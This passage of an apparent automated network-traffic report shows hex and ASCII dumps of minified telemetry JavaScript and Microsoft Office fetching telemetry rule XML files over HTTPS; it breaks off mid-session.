(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-25 11:07:47 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7397a655-c01e-000b-4bbf-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110747Z-178bfbc474bbcwv4hC1NYCypys000000078g000000004mxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:47 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:47 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:47 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110747Z-174c587ffdfmlsmvhC1TEBvyks0000000620000000003ubt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:47 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110747Z-15b8b599d88m7pn7hC1TEB4axw00000005y0000000004v4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110747Z-178bfbc474b9fdhphC1NYCac0n00000007b0000000004cpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:47 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110747Z-174c587ffdf7t49mhC1TEB4qbg00000005p000000000k9zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:49 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110749Z-178bfbc474b9xljthC1NYCtw94000000077g00000000996h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110749Z-15b8b599d88pxmdghC1TEBux9c00000005v000000000gvv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
